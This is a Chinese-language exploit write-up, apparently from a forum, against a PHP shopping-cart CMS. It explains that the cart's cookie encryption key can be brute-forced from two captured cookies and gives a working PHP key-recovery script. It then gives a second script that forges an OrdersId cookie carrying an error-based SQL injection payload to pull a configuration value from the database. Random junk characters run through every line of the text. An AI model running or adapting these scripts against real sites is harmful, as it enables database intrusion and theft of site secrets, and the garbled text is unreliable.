www.xxx.com/plus/search.php?keyword=& p9 S) f% w7 y) T3 s/ f0 g
在 include/shopcar.class.php中7 _( k H) p" E2 n
先看一下这个shopcar类是如何生成cookie的/ U) R4 K4 ]! h# g7 I% i! k5 o
239 function saveCookie($key,$value)
B9 ]( U/ K9 l0 @$ H& J6 v240 {' N' Y9 U* U; o; k
241 if(is_array($value))! t4 ?9 N* Z" b, u; \& h
242 {
# w4 k$ R) N& v/ b) v% S. c4 b% a243 $value = $this->enCrypt($this->enCode($value));- M. \. X- W7 u* A! [
244 }
% c3 g a$ s- q$ C/ P, Z6 X, E245 else
% n4 X# d5 y9 B; e9 C- C246 {% S. X7 U% k, p: T1 W- M/ |
247 $value = $this->enCrypt($value);
' E( M% q. m' N4 [7 w248 }1 j0 j: X3 ` D5 k# m$ S# ~5 Z/ b
249 setcookie($key,$value,time()+36000,’/');4 }/ F3 n8 r0 p' g5 E3 G! C
250 }. k5 v) W. M* h$ ~
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
% t" _: }5 Y6 G+ d186 function enCrypt($txt)* z) ]4 O: t3 G$ C _9 g
187 {2 K2 P; d* h y
188 srand((double)microtime() * 1000000);2 C, O( R h+ ^9 e+ ?
189 $encrypt_key = md5(rand(0, 32000));
" l N7 y& w# d% G, X7 k190 $ctr = 0;
$ p- _; @) P' g! P% t191 $tmp = ”;
# \# e2 o8 P/ W6 m! X192 for($i = 0; $i < strlen($txt); $i++)" G4 |! g' B# p2 f! i1 K" m7 k
193 {1 s& n, X4 ?; r: g( m. \
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;( a3 N3 C" r! Z1 z7 L8 o9 R
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
% a5 M! e. e$ O% d ]196 }
/ _% Y3 K* g* p0 L5 e+ m7 A8 j197 return base64_encode($this->setKey($tmp));! R2 M" Q( m- J' S. j( F' ^* E
198 }, Y& I; L$ M" r5 D8 g& f3 w/ u0 a
213 function setKey($txt)
# [7 u/ B& p/ q214 {2 D6 K1 C& `# `
215 global $cfg_cookie_encode;3 e3 d- [- h# Z/ E7 \! Y! y
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));) r! w3 {* a5 o/ ~4 P4 b+ y- T) i
217 $ctr = 0;
! w0 H; p5 q2 w4 }" r& U218 $tmp = ”;
+ ~$ T$ G$ G7 u( }+ d219 for($i = 0; $i < strlen($txt); $i++)
$ m3 M; t) L# w% |220 {
3 g% [8 v/ H- V0 A% T ~221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 R; V: W; k [! {222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
8 |9 c d0 l( ^' i2 m223 }
8 g. J' i: V1 ~; m- G" n6 J224 return $tmp;
; W- [9 U3 x0 W+ {6 O225 }
& X @( E% _! ?8 K5 H( y" GenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
8 u% J' k, }1 E' `然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
- d* |/ z/ i* ]3 a具体代码如下:6 A. q# j( @/ y
<?php* x: r" L; P! T- z' t
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
: H( D9 S: \' M. y; Q$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here. k! \9 Y* E* Y6 U! J
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here/ H, e$ [/ _! @ a e
function reStrCode($code,$string)
& o/ o$ N, e' a! K& E! X{& d) z2 i0 E6 c' b
$code = base64_decode($code);
/ J A5 `5 N0 c( S, W. W( t$key = “”;: b( U* \; b! X# x' H4 s4 l
for($i=0 ; $i<32 ; $i++)
4 V. o. M; s9 k{
6 `6 Y' ` y- R' a& w3 N$key .= $string[$i] ^ $code[$i];& A8 x* E4 V3 M& r! |
}0 `: w* U8 h4 C! R& b
return $key;8 A( C4 }$ V) [, J! H8 s
}
1 ^$ E$ C8 G+ W1 Efunction getKeys($cookie,$plantxt)
! B( ?9 x4 W) p4 D+ B, O{& o* T1 A# H& g4 p3 N7 |
$tmp = $cookie;- u* v/ J6 e# T1 Z" q/ M+ L' ]
$results = array();; i! O( O; d! ]% p
for($j=0 ; $j < 32000; $j++)
; M1 U1 w, D; u* ?- ]{
* {2 a. v+ ^) B: c4 v8 i3 k
) R* L" \, l3 M" s( y5 i; ?$txt = $plantxt;
. |( M% l! i% ]) H( [6 c$ctr = 0;
5 Y& u. m* o' \3 r$tmp = ”;
6 P* f4 @% J n4 `3 N; ]! n$encrypt_key = md5($j);
- a; t9 S; x; p2 K- bfor($i =0; $i < strlen($txt); $i ++)+ C3 _: f! i' m6 {
{5 |1 [: o8 @* j/ h
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 ~* M* H5 f( D- I6 l6 V! E6 \
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);. E$ t- \9 n- h2 N4 S+ o, u* K
}9 f6 c& k0 l; s* V! O
$string = $tmp;
0 `' N | J5 h3 \, h+ k$code = $cookie;
I' x6 Z% F' u! p+ y8 c$result = reStrCode($code,$string);
/ u T+ h8 E3 \$ q: nif(eregi(‘^[a-z0-9]+$’,$result))
3 w. L6 R) F4 O{
& G) d8 x# @: ^# k9 P* U; K+ eecho $result.”\n”;
1 U" l; n6 H) \+ y$results[] = $result;
) L# {. b, v4 s% L, D8 k/ K! @8 V}9 e: L& z! `/ H u9 C/ s
}3 b% s2 L" [$ k! u
return $results;# ?- E- F% W4 u! E" g
}: B" O% x: z; \. V
$results1 = getKeys($cookie1,$plantxt);
' v. c! }# t/ a7 E2 ]- h6 x! e* I$results2 = getKeys($cookie2,$plantxt);% ]! g9 z% F0 g
print “\n——————–real key————————–\n”;
1 F' p5 q$ f' @0 u/ [foreach($results1 as $test1)0 C ^, v( `. G/ v& C. u1 o; r5 i
{( @8 X/ P/ i% a, `0 [ q* L
foreach($results2 as $test2)" y, }' D M. [
{6 `: U1 S$ {) ?) S
if($test1 == $test2)1 \+ J( U- Z* v+ e: I! {2 m
{
+ A, t# a; h# @) ?5 Wecho $test1.”\n”;
6 p0 @! [# X# V}
( f& F2 k' z; [% n}+ N/ p! `3 z& B! _+ b0 H6 \
}
2 {0 S" ~. e2 p& @2 _& I?>
( [5 E. ~. g2 p$ f4 n) n7 }cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,: S4 V+ N/ |' s! S" q5 x0 S* X
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
' y" b$ j! A; a然后推算出md5(strtolower($cfg_cookie_encode))
4 h$ H; F4 d( e7 @5 P3 ? `得到这个key之后,我们就可以构造任意购物车的cookie6 q. n) K' R; K
接着看& L; P- r% B9 W2 D/ \
20 class MemberShops
' N9 a0 D5 D2 `' e21 {0 G& \7 _ e- D2 }* F$ }4 I
22 var $OrdersId;
9 Z; p0 r$ E2 e. E: p2 z. e' u23 var $productsId;
$ x# E2 p# K: s: l: n24
+ k+ M2 M+ k( V5 I% E7 c) S6 W25 function __construct()* F6 n4 s; y" ~" J
26 {* m0 c4 ]1 V; W: ]* i9 S
27 $this->OrdersId = $this->getCookie(“OrdersId”);: V$ [. X% ?# u0 O; g: V
28 if(empty($this->OrdersId))
* Z+ x% ]0 Y. X# Q29 {
- m, B' L6 \5 E5 t% E30 $this->OrdersId = $this->MakeOrders();; f0 g! }6 |" x: s' S v5 J
31 }9 |1 ]& ^6 y$ ]. ^- v5 {
32 }
- g# {: S) V# G发现OrderId是从cookie里面获取的
$ A6 o" j3 W! T5 P& D) H% F( b5 }然后
* I0 |" }/ g$ a/plus/carbuyaction.php中的
" E( k1 Z0 l1 P. f7 w29 $cart = new MemberShops();
1 E* q' o% K9 X/ d6 r2 q* H39 $OrdersId = $cart->OrdersId; //本次记录的订单号
( `. V3 T; P4 O4 Y……
- z& W9 k9 p* k" c173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);4 ?' U" Y; Q8 r3 ~" P5 c
接着我们就可以注入了. l3 v" ^6 H0 u8 X+ ?: P: _
通过利用下面代码生成cookie:
: N( o' R5 m5 m<?php5 ]4 x5 P/ i6 k0 c1 l: M) a
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;( f: z o K# ^( I) C' Z
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
( g; U* W* n! }8 [8 Tfunction setKey($txt)$ x# e. z' m0 j2 Y* L: i
{* D& P( e/ Z& q1 d! w! ?
global $encrypt_key;
5 u9 P5 q% G; [$ w/ Y- }$ctr = 0;
6 [- I" i0 q, f! W. `' A$tmp = ”;
, z }/ z. B) x9 Y8 S9 dfor($i = 0; $i < strlen($txt); $i++)& ~& \/ [- Y) Q" o" l3 n
{
) A7 u9 @3 {* u+ B$ h' B4 ^$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 I2 k# n5 I" T' Z% p# p$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];( }9 }+ y. r: |7 d# q7 I& T: f
}) G1 t/ ]4 t h; n a0 @
return $tmp;- k& }% C4 P9 m. W0 S
}
+ Y1 j+ U, q5 M! bfunction enCrypt($txt)
$ Q' W: c0 R( g2 r5 \ H, b/ @{
v8 k4 c/ g$ n. J; l9 m# L: Bsrand((double)microtime() * 1000000);
L: H, P" H8 J9 ^* |; l8 T* j: L$encrypt_key = md5(rand(0, 32000));
+ f9 M9 B6 W3 P& m" `3 A1 D$ctr = 0;
+ W9 i0 x4 [7 y2 \/ @" r" I! m( ?$tmp = ”;
* s% c* S9 E/ T0 E/ zfor($i = 0; $i < strlen($txt); $i++)6 X* S! e# X1 m: ^% A% ?2 D, f
{
6 ~* I5 E; D6 {1 M$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 I) J6 G' J6 j; `. R9 y* O$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 j: c, n/ Y6 _/ }# L}
3 k( V) ^- n, P' qreturn base64_encode(setKey($tmp));
/ e, T5 h, p' ^, C' _: m. W8 q1 f}1 c B7 P9 O/ J& Y3 t! R6 p
for($dest =0;$dest = enCrypt($txt);)
6 {, c7 k- t: J! ?# |7 E{
3 Q M0 S2 M9 ~% z8 v& sif(!strpos($dest,’+'))
+ S! W: E. w& x9 F- O* b{
5 r) ]3 N4 K# N3 t Mbreak;: G& h9 U# ~8 a& T. ?+ t2 X5 @
}6 s7 m3 X; H0 ?( x/ ^
}
* b" y# h5 r. w; k& Aecho $dest.”\n”;. ^% [# g: k) d$ j i
?>7 l( `+ y( x, T4 }6 M( v5 J" S
# j& x. E' J) D# M! l( O
|